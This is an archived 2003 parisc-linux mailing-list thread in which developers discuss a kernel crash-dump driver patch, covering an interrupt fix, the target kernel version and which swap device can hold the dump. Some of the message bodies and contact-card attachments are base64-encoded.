NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:48 +0000 (UTC)
To: bruno_vidal@hp.com,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  7 11:38:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D9E84829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Apr 2003 11:38:00 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 192aYv-0007HH-00; Mon, 07 Apr 2003 19:37:41 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 7 Apr 2003 19:37:39 +0200
In-Reply-To: <3E91A30E.5750D22D@hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18199

Hi Bruno,

>
>    Hi
>For who  want it, I've prepared a new patch for the dump driver.
>What's new:
>-can dump only used pages.
>-fully support multi volume dump.
>-can create dump in format image for use with p4 tools.
>
>Bug correction:
>-missed pages when writing dump header.
>
>I would be happy to send to everyone who want it.
>
>    Cheers.
>
Thanks in advance, you know how much am I interested of your progress.

Do you remember last test failled because of an interrupt problem?

I would try again (and go ahead :)

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bruno_vidal@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New dump driver patche.
Date: Tue, 08 Apr 2003 08:15:44 +0200
Organization: H.P
Lines: 50
Approved: news@gmane.org
Message-ID: <3E926910.6974B192@hp.com>
References: <3E8AE87E00002F65@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------F60849D34A611C1C9187B96C"
X-Trace: ger.gmane.org 1416622368 24474 80.91.229.3 (22 Nov 2014 02:12:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:48 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 00:15:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 182FB4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Apr 2003 00:15:37 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 01F7B574; Tue,  8 Apr 2003 08:15:34 +0200 (METDST)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id IAA10994;
	Tue, 8 Apr 2003 08:14:34 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18200

This is a multi-part message in MIME format.
--------------F60849D34A611C1C9187B96C
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpLg0KQWJvdXQgdGhlIGludGVycnVwdCBwcm9ibGVtLCBJIHNwZW5kIGxvdHMgb2Yg
dGltZSB0byByZXNvbHYgdGhpcy4NClRoaXMgaGFzIGJlZW4gc29sdmVkIGJ5IHVzaW5nIFBE
QyBjYWxsIGluIG9yZGVyIHRvIGRvIHB1c2ggZGlyZWN0bHkNCm9uIHRoZSBkaXNrcyBieSB1
c2luZyBsb3cgbGV2ZWwgZnVuY3Rpb24uDQoNCiAgICBDaGVlcnMuDQoNCkpvZWwgU29ldGUg
d3JvdGU6DQoNCj4gSGkgQnJ1bm8sDQo+DQo+ID4NCj4gPiAgICBIaQ0KPiA+Rm9yIHdobyAg
d2FudCBpdCwgSSd2ZSBwcmVwYXJlZCBhIG5ldyBwYXRjaCBmb3IgdGhlIGR1bXAgZHJpdmVy
Lg0KPiA+V2hhdCdzIG5ldzoNCj4gPi1jYW4gZHVtcCBvbmx5IHVzZWQgcGFnZXMuDQo+ID4t
ZnVsbHkgc3VwcG9ydCBtdWx0aSB2b2x1bWUgZHVtcC4NCj4gPi1jYW4gY3JlYXRlIGR1bXAg
aW4gZm9ybWF0IGltYWdlIGZvciB1c2Ugd2l0aCBwNCB0b29scy4NCj4gPg0KPiA+QnVnIGNv
cnJlY3Rpb246DQo+ID4tbWlzc2VkIHBhZ2VzIHdoZW4gd3JpdGluZyBkdW1wIGhlYWRlci4N
Cj4gPg0KPiA+SSB3b3VsZCBiZSBoYXBweSB0byBzZW5kIHRvIGV2ZXJ5b25lIHdobyB3YW50
IGl0Lg0KPiA+DQo+ID4gICAgQ2hlZXJzLg0KPiA+DQo+IFRoYW5rcyBpbiBhZHZhbmNlLCB5
b3Uga25vdyBob3cgbXVjaCBhbSBJIGludGVyZXN0ZWQgb2YgeW91ciBwcm9ncmVzcy4NCj4N
Cj4gRG8geW91IHJlbWVtYmVyIGxhc3QgdGVzdCBmYWlsbGVkIGJlY2F1c2Ugb2YgYW4gaW50
ZXJydXB0IHByb2JsZW0/DQo+DQo+IEkgd291bGQgdHJ5IGFnYWluIChhbmQgZ28gYWhlYWQg
OikNCj4NCj4gSm9lbA0KPg0KPiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
Cj4gVm91cyBzdXJmZXogYXZlYyB1bmUgbGlnbmUgY2xhc3NpcXVlID8NCj4gRWNvbm9taXNl
eiBqdXNxdSfgIDI1JSBhdmVjIFRpc2NhbGkgQ29tcGxldGUgIQ0KPiBPZmZyZSBzcOljaWFs
ZSA6IHByZW1p6HJlIGFubullIGQnYWJvbm5lbWVudCBvZmZlcnRlLg0KPiAuLi4gUGx1cyBk
J2luZm8gc3VyIGh0dHA6Ly9jb21wbGV0ZS50aXNjYWxpLmJlDQo+DQo+IF9fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fDQo+IHBhcmlzYy1saW51eCBt
YWlsaW5nIGxpc3QNCj4gcGFyaXNjLWxpbnV4QGxpc3RzLnBhcmlzYy1saW51eC5vcmcNCj4g
aHR0cDovL2xpc3RzLnBhcmlzYy1saW51eC5vcmcvbWFpbG1hbi9saXN0aW5mby9wYXJpc2Mt
bGludXgNCg0KLS0NCiAgICAgICAgVmlkYWwgQnJ1bm8sICg3NzAtNDI3MSkNCiAgICAgICAg
U1NELUhBIFRlYW0sIEhQLVVYICYgTElOVVggU3VwcG9ydA0KICAgICAgICBicnVub192aWRh
bEBhZG1pbi5mcmFuY2UuaHAuY29tDQoNCg0K
--------------F60849D34A611C1C9187B96C
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for 
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------F60849D34A611C1C9187B96C--



From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bruno_vidal@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New dump driver patche.
Date: Tue, 08 Apr 2003 08:17:40 +0200
Organization: H.P
Lines: 37
Approved: news@gmane.org
Message-ID: <3E926984.CC9E523C@hp.com>
References: <3E91A30E.5750D22D@hp.com> <20030407165441.GB12993@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------5C7DDDB7E723A05AC839C565"
X-Trace: ger.gmane.org 1416622369 24476 80.91.229.3 (22 Nov 2014 02:12:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:49 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 00:17:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E9524829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Apr 2003 00:17:32 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 2114A5F8; Tue,  8 Apr 2003 08:17:31 +0200 (METDST)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id IAA11051;
	Tue, 8 Apr 2003 08:16:29 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18201

This is a multi-part message in MIME format.
--------------5C7DDDB7E723A05AC839C565
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpLg0KQWJvdXQgdGhlIHBhdGNoLCBJJ3ZlIHdyb3RlIHNvbWUgc2NyaXB0IGluIG9y
ZGVyIHRvIGJ1aWxkIGEgcGF0Y2gNCmFnYWludCBsYXRlc3QgcmVsZWFzZS4gVGhlIGFjdHVh
bCBwYXRjaCBpcyBmb3IgMi40LjIwLXBhMzIuDQpJIHByb2JhYmx5IHN0YXJ0IG5vdyB0byB3
b3JrIG9uIDIuNSBhcyBzb29uIEkndmUgYnVpbGQgYSAyLjUga2VybmVsIDstKQ0KDQpSYW5k
b2xwaCBDaHVuZyB3cm90ZToNCg0KPg0KPiBpcyB0aGlzIGFnYWluc3QgMi40LjIwIG9yIDIu
NT8gY2FuIHdlIHBvc3QgaXQgb24gZnRwLnBhcmlzYy1saW51eC5vcmc/DQo+DQo+IGknbSB2
ZXJ5IGludGVyZXN0ZWQgaW4gdGhpcyA6KQ0KPg0KPiB0aGFua3MNCj4gcmFuZG9scGgNCj4g
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18NCj4gcGFy
aXNjLWxpbnV4IG1haWxpbmcgbGlzdA0KPiBwYXJpc2MtbGludXhAbGlzdHMucGFyaXNjLWxp
bnV4Lm9yZw0KPiBodHRwOi8vbGlzdHMucGFyaXNjLWxpbnV4Lm9yZy9tYWlsbWFuL2xpc3Rp
bmZvL3BhcmlzYy1saW51eA0KDQotLQ0KICAgICAgICBWaWRhbCBCcnVubywgKDc3MC00Mjcx
KQ0KICAgICAgICBTU0QtSEEgVGVhbSwgSFAtVVggJiBMSU5VWCBTdXBwb3J0DQogICAgICAg
IGJydW5vX3ZpZGFsQGFkbWluLmZyYW5jZS5ocC5jb20NCg0KDQo=
--------------5C7DDDB7E723A05AC839C565
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for 
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------5C7DDDB7E723A05AC839C565--



From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New dump driver patche.
Date: Tue, 8 Apr 2003 08:23:48 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3E8AE87E000032BF@ocpmta2.freegates.net>
References: <3E926910.6974B192@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622369 24479 80.91.229.3 (22 Nov 2014 02:12:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:49 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: bruno_vidal@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 00:23:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id A95C24829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Apr 2003 00:23:51 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 192mWL-0001ms-00; Tue, 08 Apr 2003 08:23:49 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 8 Apr 2003 08:23:48 +0200
In-Reply-To: <3E926910.6974B192@hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18202

Bruno,

>
>
>    Hi.
>About the interrupt problem, I spend lots of time to resolv this.
>This has been solved by using PDC call in order to do push directly
>on the disks by using low level function.
>
>    Cheers.
>
Very good news, I am now much more impatient to test it again.

J

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bruno_vidal@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New dump driver patche.
Date: Tue, 08 Apr 2003 12:30:26 +0200
Organization: H.P
Lines: 45
Approved: news@gmane.org
Message-ID: <3E92A4C2.2139CFAD@hp.com>
References: <3E8AE87E00003398@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------C62A420FA508D5643BA145BA"
X-Trace: ger.gmane.org 1416622369 24481 80.91.229.3 (22 Nov 2014 02:12:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:49 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 04:30:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A8A74829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Apr 2003 04:30:18 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 94339441; Tue,  8 Apr 2003 12:30:16 +0200 (METDST)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id MAA23841;
	Tue, 8 Apr 2003 12:29:16 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18203

This is a multi-part message in MIME format.
--------------C62A420FA508D5643BA145BA
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

DQpKb2VsIFNvZXRlIHdyb3RlOg0KDQo+DQo+IEkgaGFkIGFub3RoZXIgcXVlc3Rpb246IHRo
aXMgc3lzdGVtIGhhcyAyR2Igb2YgUkFNIGFuZCBteSBib290IGRpc2sgaXMgb2YNCj4gOUdi
ICwgc28gbXkgcXVlc3Rpb24gaXM6IG1heSBJIHVzZSBhbnkgc3dhcCBhcyBkdW1wIGRldmlj
ZSBvdmVyIHRoZSBmYW1vdXMNCj4gMiBmaXJzdCBHYiBvZiB0aGUgZGlzaw0KDQpZZXMsIHlv
dSBjYW4gdXNlIGFueSBzd2FwIGRldmljZSwgdGhlIGxpbWl0YXRpb24gb2YgdGhlIDJHYiBp
cyBjb21pbmcgZnJvbQ0KdGhlIGNhcGFiaWxpdGllcyBvZiB0aGUgc2NzaSBjYXJkIGl0c2Vs
ZiwgYW5kIG9uIGFueSAibGFzdCIgc3lzdGVtIHRoZSBQREMgaXMNCmFibGUgdG8gYWNjZXMg
b3ZlciAyR2IuIFRoaXMgbGltaXRhdGlvbiBpcyBvbmx5IG9uIG9sZCB3b3Jrc3RhdGlvbiBh
bmQgc2VydmVyLA0KbGlrZSA3MTIvSyAobm90IGFsbCBzY3NpIGNhcmQpLi4uLkkgbmVlZCB0
byBhZGQgdGhpcyBjaGVja2luZyB3aGVuIGNvbmZpZ3VyaW5nDQp0aGUgY3Jhc2ggYXJlYS4g
SSd2ZSBhbHJlYWR5IHN0YXJ0IHRvIGFkZCB0aGlzLCBidXQgaXQgaXMgbm90IHlldCBmdWxs
eSB0ZXN0ZWQsIG1haW5seQ0KYmVjYXVzZSBpdCBpcyBvbmx5IGZvciBvbGQgc3lzdGVtLCBB
L04vTCBkb24ndCBoYXZlIHRoaXMgbGltaXRhdGlvbi4NCg0KPiAob3IgaXMgaXQgcG9zc2li
bGUgdG8gcGFzcyBhIHBhcmFtZXRlciB0byB0aGUga2VybmVsDQo+IHRvIHB1dCB0aGlzIHN3
YXAtZHVtcCBvbiBhbm90aGVyIGRpc2spLg0KDQpTb3JyeSwgbm90IHlldCwgSSBkaWRuJ3Qg
bG9vayB5ZXQgaG93IHRvIHJldHJpZXZlIG9wdGlvbg0KZnJvbSB0aGUgY29tbWFuZCBsaW5l
LiBCdXQgaXQgaXMgaW4gbXkgdG9kbyBsaXN0IHRvIGFkZA0KImVhcmx5IGR1bXAiIGZlYXR1
cmUuDQoNCj4NCj4NCj4gVGhhbmtzIGFnYWluIGZvciBhbGwsDQo+ICAgICBKb2VsDQo+DQoN
Ci0tDQogICAgICAgIFZpZGFsIEJydW5vLCAoNzcwLTQyNzEpDQogICAgICAgIFNTRC1IQSBU
ZWFtLCBIUC1VWCAmIExJTlVYIFN1cHBvcnQNCiAgICAgICAgYnJ1bm9fdmlkYWxAYWRtaW4u
ZnJhbmNlLmhwLmNvbQ0KDQoNCg==
--------------C62A420FA508D5643BA145BA
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for 
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------C62A420FA508D5643BA145BA--



From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] New dump driver patche.
Date: Tue, 8 Apr 2003 12:44:32 +0200
Lines: 122
Approved: news@gmane.org
Message-ID: <03Apr8.130336cest.119063@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2FDBB.D69F7000"
X-Trace: ger.gmane.org 1416622370 24484 80.91.229.3 (22 Nov 2014 02:12:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 04:44:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id D883B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Apr 2003 04:44:41 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119063>; Tue, 8 Apr 2003 13:03:36 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18204

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2FDBB.D69F7000
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: bruno_vidal@hp.com [mailto:bruno_vidal@hp.com]
> 
> Joel Soete wrote:
> 
> > I had another question: this system has 2Gb of RAM and my 
> boot disk is of
> > 9Gb , so my question is: may I use any swap as dump device 
> over the famous
> > 2 first Gb of the disk
> 
> Yes, you can use any swap device, the limitation of the 2Gb 
